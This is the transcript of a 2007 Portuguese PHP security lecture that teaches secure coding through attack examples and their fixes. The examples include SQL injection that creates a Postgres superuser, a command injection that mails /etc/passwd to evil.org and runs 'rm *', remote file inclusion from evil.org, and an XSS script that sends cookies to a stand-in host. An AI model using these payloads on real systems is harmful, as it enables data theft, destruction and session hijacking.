Security & PHP

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    10 Favorites & 1 Group

    Security & PHP - Presentation Transcript

    1. PHP Summer School PHP Summer School Segurança Nuno Loureiro <nuno@co.sapo.pt> http://blog.sig9.net/ 20/07/2007 Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007
    2. PHP Summer School About me • Licenciatura em Eng. Sistemas e Computação • Começou a usar Linux em 1995 • Começou a programar PHP em 1999 • Organizou o 1º Simpósio de Linux em 1999 - Simplinux • Sócio-fundador da ETH em 1999 • Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002 • Juntou-se à equipa do SAPO em 2002 • Programador do Webmail do SAPO • Gestor técnico da plataforma de email do SAPO • Zend Certified Engineer em 2005 Segurança 2
    3. PHP Summer School Sumário • Segurança do Sistema • Sistema Operativo e Serviços • Servidor de Web • Código PHP • Register Globals • Processamento de Forms • Interacção com Bases de Dados • Chamar programas externos • Incluir ficheiros • Sessões • Cross-Site Scripting • Conclusão Segurança 3
    4. PHP Summer School Segurança do Sistema Sistema Operativo e Serviços • Sistema Operativo • Manter o S.O. sempre actualizado • Instalar todos os patchs de segurança disponibilizados pelo vendedor • Serviços • Fechar todos os ports não necessários ou • Desligar todos os serviços de rede não necessários • Ferramentas para auditoria de segurança • Ex: Nessus - http://www.nessus.org/ Segurança 4
    5. PHP Summer School Segurança do Sistema Servidor de Web - Configuração • Correr com um UID próprio (ex: nobody) • Desligar opção/módulo para listar o conteúdo de directórios • mod_autoindex • Negar acesso a directórios não necessários <LocationMatch \"/(scripts|templates|lib|locale|config|docs)/\"> order deny,allow deny from all </LocationMatch> • Negar acesso a ficheiros não necessários <FilesMatch \"\\.(inc)?~?$\"> order deny,allow deny from all </FilesMatch> Segurança 5
    6. PHP Summer School Segurança do Sistema Servidor de Web - Configuração Falhas nestas configurações básicas podem ter consequências gravíssimas Wrong! Right! wget http://foobar.pt/horde/config/horde.php.bak É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de configuração são incluidos pelo PHP através do filesystem Segurança 6
    7. PHP Summer School Segurança do Sistema Servidor de Web - PHP php.ini: displays_errors = off log_errors = on error_log = /var/log/php.log register_globals = off ** session.use_trans_sid = 0 ** open_basedir = /servers/www/foo.bar/ expose_php = off Auditoria de Segurança da Instalação de PHP: • PHPSecInfo - http://phpsec.org/projects/phpsecinfo/ ** by default Segurança 7
    8. PHP Summer School Código PHP Agora que vamos começar a programar, convém termos umas noções básicas. • Segurança é uma medida e não uma característica • Segurança têm de ser balanceada com os custos • Segurança têm de ser balanceada com usabilidade • Um sistema completamente seguro é virtualmente impossível • Usar bom senso para balancear estes conceitos! • Saber os conceitos para programar PHP com segurança é fácil, o difícil é nos habituarmos a usá-los! Segurança 8
    9. PHP Summer School Código PHP Primeira lição e regra básica para programar PHP com segurança: Segurança 9
    10. PHP Summer School Código PHP Primeira lição e regra básica para programar PHP com segurança: NEVER TRUST USER INPUT!! Segurança 9
    11. PHP Summer School Código PHP Aprenderam? Permitam que me repita novamente: Segurança 10
    12. PHP Summer School Código PHP Aprenderam? Permitam que me repita novamente: NEVER TRUST USER INPUT!! Segurança 10
    13. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Segurança 11
    14. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Wrong! Segurança 11
    15. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Wrong! Right! Segurança 11
    16. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/form.html: <form action=\"/process.php\" method=\"POST\"> <select name=\"color\"> <option value=\"red\">red</option> <option value=\"green\">green</option> <option value=\"blue\">blue</option> </select> <input type=\"submit\" /> </form> Spoofed form: <form action=\"http://example.org/process.php\" method=\"POST\"> <input type=\"text\" name=\"color\" /> <input type=\"submit\" /> </form> Spoofed HTTP Request: POST /process.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red Segurança 12
    17. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/form.html: <form action=\"/process.php\" method=\"POST\"> <select name=\"color\"> <option value=\"red\">red</option> <option value=\"green\">green</option> <option value=\"blue\">blue</option> </select> <input type=\"submit\" /> Right! </form> Spoofed form: <form action=\"http://example.org/process.php\" method=\"POST\"> <input type=\"text\" name=\"color\" /> <input type=\"submit\" /> </form> Spoofed HTTP Request: POST /process.php HTTP/1.1 Host: example.org Este exemplo não parece perigoso... Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red Segurança 12
    18. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/fupload.php: Spoofed form: <form method=\"post\" name=\"fileupload\" action=\"fupload.php\"> <input type=\"hidden\" name=\"fn\" value=\"/var/www/html/index.php\"> <input type=\"hidden\" name=\"fn_type\" value=\"text\"> <input type=\"hidden\" name=\"fn_size\" value=\"22\"> <input type=\"submit\" name=\"upload_file\" value=\"Upload\"> Segurança 13
    19. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/fupload.php: Right! Spoofed form: <form method=\"post\" name=\"fileupload\" action=\"fupload.php\"> <input type=\"hidden\" name=\"fn\" value=\"/var/www/html/index.php\"> <input type=\"hidden\" name=\"fn_type\" value=\"text\"> <input type=\"hidden\" name=\"fn_size\" ... mas este já parece perigoso! value=\"22\"> <input type=\"submit\" name=\"upload_file\" value=\"Upload\"> Segurança 13
    20. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Exemplo: Ataque: Query executado: http://example.com/edit.php?update_table_submit update users set password=aaa =1&table=users+set+password%3Daaa where user=\"admin\" # set name=$name +where+user%3D%27admin%27+%23 Boas práticas: • Filtrem os dados. Se sabem o que esperam, filtrem! • Se a base de dados permitir, coloquem pelicas à volta de todos os dados independente do tipo de dados • “Escape your data” - ex: mysql_real_escape_string(), addslashes() Segurança 14
    21. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Outro Exemplo: Query executado: 0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres'; -- Segurança 15
    22. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Outro Exemplo: Query executado: 0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres'; -- Possível Solução: Segurança 15
    23. PHP Summer School Código PHP Chamar programas externos Exemplo: Ataque: http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2A Resultado: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Segurança 16
    24. PHP Summer School Código PHP Chamar programas externos Exemplo: Ataque: http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2A Resultado: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Solução: Segurança 16
    25. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Segurança 17
    26. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Segurança 17
    27. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Solução: Segurança 17
    28. PHP Summer School Código PHP Sessões Session Fixation / Session Hijacking Exemplo para compreensão: Atacante fornece URL: http://example.com/index.php?PHPSESSID=12345 Vítima usa URL, faz login no site e atacante faz hijacking da sessão Segurança 18
    29. PHP Summer School Código PHP Sessões Session Fixation / Session Hijacking Exemplo para compreensão: Atacante fornece URL: http://example.com/index.php?PHPSESSID=12345 Vítima usa URL, faz login no site e atacante faz hijacking da sessão Solução: Segurança 18
    30. PHP Summer School Código PHP Cross Site Scripting Exemplo: Ataque - email cujo subject é: <script> self.location.href= \"http://evil.org/cookie-grab.html?cookies=\" +escape(document.cookie) </script> Atacante pode ver nos logs do seu servidor os cookies da vítima Segurança 19
    31. PHP Summer School Código PHP Cross Site Scripting Exemplo: Ataque - email cujo subject é: <script> self.location.href= \"http://evil.org/cookie-grab.html?cookies=\" +escape(document.cookie) </script> Atacante pode ver nos logs do seu servidor os cookies da vítima Solução: Segurança 19
    32. PHP Summer School Código PHP Conclusão addslashes() intval() htmlentities() is_int() settype() is_scalar() ctype_digit() is_numeric() preg_match() ctype_alpha() htmlspecialchars() ctype_alnum() mysql_real_escape_string() pg_escape_string() is_float() Segurança 20
    33. PHP Summer School Código PHP Exercícios Exercício I Fazer o security fix do seguinte script: Segurança 21
    34. PHP Summer School Código PHP Exercícios Solução para o Exercício I: Segurança 22
    35. PHP Summer School Código PHP Exercícios Exercício II • Fazer o security fix do seguinte script: • De que tipo de vulnerabilidade sofre este script ? Segurança 23
    36. PHP Summer School Código PHP Exercícios Solução para o Exercício II: • O script pode sofrer um ataque de SQL Injection Segurança 24
    37. PHP Summer School Código PHP Exercícios Exercício III • Fazer o security fix do seguinte script: • De que tipo de vulnerabilidade sofre este script ? Segurança 25
    38. PHP Summer School Código PHP Exercícios Solução para o Exercício III: O script pode sofrer um ataque de Cross Site Scripting Segurança 26
    39. PHP Summer School PHP Summer School FIM! Obrigado, perguntas? Nuno Loureiro <nuno@co.sapo.pt> http://blog.sig9.net/ 20/07/2007 Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007

    + Nuno LoureiroNuno Loureiro, 3 years ago

    custom

    7144 views, 10 favs, 4 embeds more stats

    PHP Summer School, Lisbon, Jul 2007
    Security Modul more

    More info about this document

    CC Attribution License

    Go to text version

    • Total Views 7144
      • 7100 on SlideShare
      • 44 from embeds
    • Comments 0
    • Favorites 10
    • Downloads 291
    Most viewed embeds
    • 35 views on http://phpsummerschool.blogs.sapo.pt
    • 5 views on http://websecurity.com.ua
    • 3 views on http://hpfloresj.blogspot.com
    • 1 views on http://static.slideshare.net

    more

    All embeds
    • 35 views on http://phpsummerschool.blogs.sapo.pt
    • 5 views on http://websecurity.com.ua
    • 3 views on http://hpfloresj.blogspot.com
    • 1 views on http://static.slideshare.net

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories

    Groups / Events